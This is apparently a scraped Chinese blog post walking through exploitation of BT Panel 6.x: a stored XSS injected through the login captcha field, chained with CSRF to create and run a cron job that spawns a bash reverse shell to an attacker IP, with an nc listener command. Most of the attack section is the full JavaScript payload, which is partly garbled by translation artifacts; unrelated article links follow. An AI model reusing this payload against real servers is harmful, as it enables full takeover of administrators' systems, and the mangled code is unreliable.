对于宝塔漏洞复现和练习

0×00  什么是宝塔面板

宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统。一键配置:LAMP / LNMP ,网站,数据库,FTP ,SSL,通过Web 端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

0×01  漏洞成因

在6.x Linux 版本宝塔面板当中当中,相对与5.x 版本,记录了验证码错误并存入数据库当中,存储XSS缺陷就是在此处产生。 同时利用CSRF结合宝塔的计划任务反弹shell。

0×02   漏洞复现

首先访问后台,宝塔一般部署在8888 端口,

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

然后我们在登陆,在验证码处输入XSS 利用代码测试

<script>alert('xss')</ script> 

通过账号密码登陆宝塔后台,点开安全模块。我们可以看到触发了弹窗

由于宝塔面板的计划任务功能可以执行shell 脚本,所以我们可以基于这个xss 结合csrf 在计划任务功能处执行反弹shell 。

我们利用xss 平台(http://xsspt.com )新建一个项目执行自定义的js 脚本,修改里面的你的ip 和端口,代码如下

 function addTask(TaskName,execTime,ip,port){

    var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1';

    execShell = encodeURIComponent(execShell);

    var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined'

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = AddCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

function execTask(TaskName){

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = GetCrontab',true);

    xhr.send();

    xhr.onload = function(){

        if(this.readyState == 4 && this.status == 200){

            var res = JSON.parse(this.responseText);

            if(res [0] .name == TaskName){

                var TaskID = res [0] .id.toString();

                var xhr = new XMLHttpRequest();

                xhr.open('POST','/ crontab?action = StartTask',false);

                xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

                var params ='id ='+ TaskID;

                xhr.send(PARAMS);

                delTask(RES [0] .ID);

                的console.log(RES [0] .ID);

                return res [0] .id;

            }

        }

    }

}

function delTask(TaskID){

    var params ='id ='+ TaskID.toString();

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = DelCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

var TaskName = Math.random()。toString(36).substring(7);

addTask(TASKNAME, '5', '1.1.1.1', '53');

execTask(TASKNAME);

在本地通过nc 监听反弹的端口,nc.exe -l -vv -p 反弹端口

在然后后台通过登陆面板的验证码处插入我们配置好的跨站网站脚本代码

在登陆宝塔后台面板,点开安全模块。我们可以看到壳成功反弹

宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell的更多相关文章

  1. 宝塔漏洞 XSS窃取宝塔面板管理员漏洞 高危

    宝塔是近几年刚崛起的一款服务器面板,深受各大站长的喜欢,windows2003 windows2008windosws 2012系统,linux centos deepin debian fedora ...

  2. 宝塔面板,Typecho,Lsky Pro图床安装

    宝塔面板,Typecho,Lsky Pro图床安装 本文安装包:链接:https://cloud.cangye.me/s/l3i4avjl 密码是宝塔面板4个汉字拼音首字母小写(防止被爬) 一,宝塔面 ...

  3. 宝塔面板设置腾迅COS自动备份网站

    之前写了如何配置腾迅云COS并挂载到服务器中,今天看到宝塔面板中有腾迅云COS的插件,不过研究了下,只是将COS绑定在宝塔面板中,不能自动备份,需要用到宝塔的计划任务功能 1.下载腾迅云COS插件 2 ...

  4. 宝塔面板下安装zabbix

    宝塔面板之前已经安装完成,如果不会可以查看上一个日志.接下来开始安装zabbix 1.添加系统用户和组 2. yum -y install epel-release #安装源 3.使用命令 yum - ...

  5. Vultr VPS建站攻略 – 一键安装宝塔面板架设LNMP/LAMP Web环境

    我们选择VULTR VPS建站的还是比较多的,其主要原因在于商家的稳定,毕竟我们用来建站选择服务器价格考虑的不是主要的(当然VULTR价格也是比较便宜),最为主要的是因为VULTR商家比较稳定,而且多 ...

  6. 腾讯云服务器安装宝塔面板快速配置LNMP/LAMP网站系统

    我们在选择购买腾讯云服务器之后,有部分用户肯定是用来建站用途的.毕竟云服务器的性能和功能比虚拟主机优秀很多.腾讯云服务器拥有香港.北京.广州.上海.美国等多个机房,可以安装Linux和Windows系 ...

  7. 宝塔面板 + Rancher + 阿里云镜像仓库 + Docker + Kubernetes,添加集群、部署 web 应用

    目录 一,安装宝塔面板(V 6.8) 二,使用宝塔安装 Docker,配置阿里云容器服务 三,安装 Rancher (Server) 四,管理 Rancher.添加集群 五,添加 Rancher 应用 ...

  8. 关于宝塔面板windows版6.2的一些使用心得

    关于宝塔面板windows版6.2的一些使用心得 第一次使用windows版本的 给客户搭建  asp+mssql的需求 心得1   安装   server2012 基于python开发的,所以安装的 ...

  9. Ubuntu宝塔面板设置网站 Apache Server API为Apache 2.0 Handler模式

    用过宝塔面板(https://www.bt.cn)的谁用谁知道:  以下来自官网的介绍: “宝塔Linux面板是提升运维效率的服务器管理软件,支持一键LAMP/LNMP/集群/监控/网站/FTP/数据 ...

随机推荐

  1. 华为Quidway S5700开启SNMP协议

    开启SNMP协议通过Console口登录主要用于交换机第一次上电或者本地配置.或者无法通过远程访问时,可通过Console口登录.如何才能通过Console口登录交换机呢?在配置通过Console口配 ...

  2. Https与Http的区别以及Https的解说

    http:信息不加密,具有信息被盗的危险 https:信息加密,第三获取原信息 1:https多了一层SSL,而这一层的设计是为了达到如下的 (1) 所有信息都是加密传播,第三方无法窃听. (2) 具 ...

  3. opencv中IplImage* src = cvLoadImage,错误

    在调试这段代码时 IplImage* src = cvLoadImage("D:\\图像\\已处理 - 11.26\\1.jpg", 1); 提示一下错误 引发了异常: 读取访问权 ...

  4. CSS——段落处理

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  5. 记录工作中linux相关操作

    在项目部署之后,查看日志能查看部署结果是否正确部署. 最开始查看日志我会使用cat service.log tail -f service.log vim service.log 打开日志之后 /+查 ...

  6. seo搜索引擎的优化方法

    现在互联网的入口,一般都是被搜索引擎霸占.所以我们要想让别人搜索时,优先看到我们的网站.有两种方法: 1.竞价排名.这是需要钱的,给的钱越多,排名越靠前.参考某度.. 2.不想花钱,就使用seo搜索引 ...

  7. MySQL性能优化以及常用命令

    1.将查询操作SELECT中WHERE条件后面和排序字段建立索引 2.按需查询,需要哪个字段就查哪个字段,禁止使用"SELECT * " 3.数据库引擎最好选用InnoDB,少用M ...

  8. 云原生生态周报 Vol. 21 | Traefik 2.0 正式发布

    作者 | 浔鸣.心水.元毅.源三.衷源 业界要闻 CNCF 计划将 TOC 升至 11 人 技术监督委员会(TOC)是 CNCF 的三大核心管理机构之一,从 2020 年 1 月起,TOC 将从 9 ...

  9. Spring boot集成Rabbit MQ使用初体验

    Spring boot集成Rabbit MQ使用初体验 1.rabbit mq基本特性 首先介绍一下rabbitMQ的几个特性 Asynchronous Messaging Supports mult ...

  10. SpringBootSecurity学习(08)网页版登录整合MyBatis

    创建数据库 前面介绍了springboot-security整合jdbc从数据库中查询用户的方式,适用性有限,下面介绍最常用的整合MyBatis,这种在开发和生产环境中是最常用,也是最实用的.首先需要 ...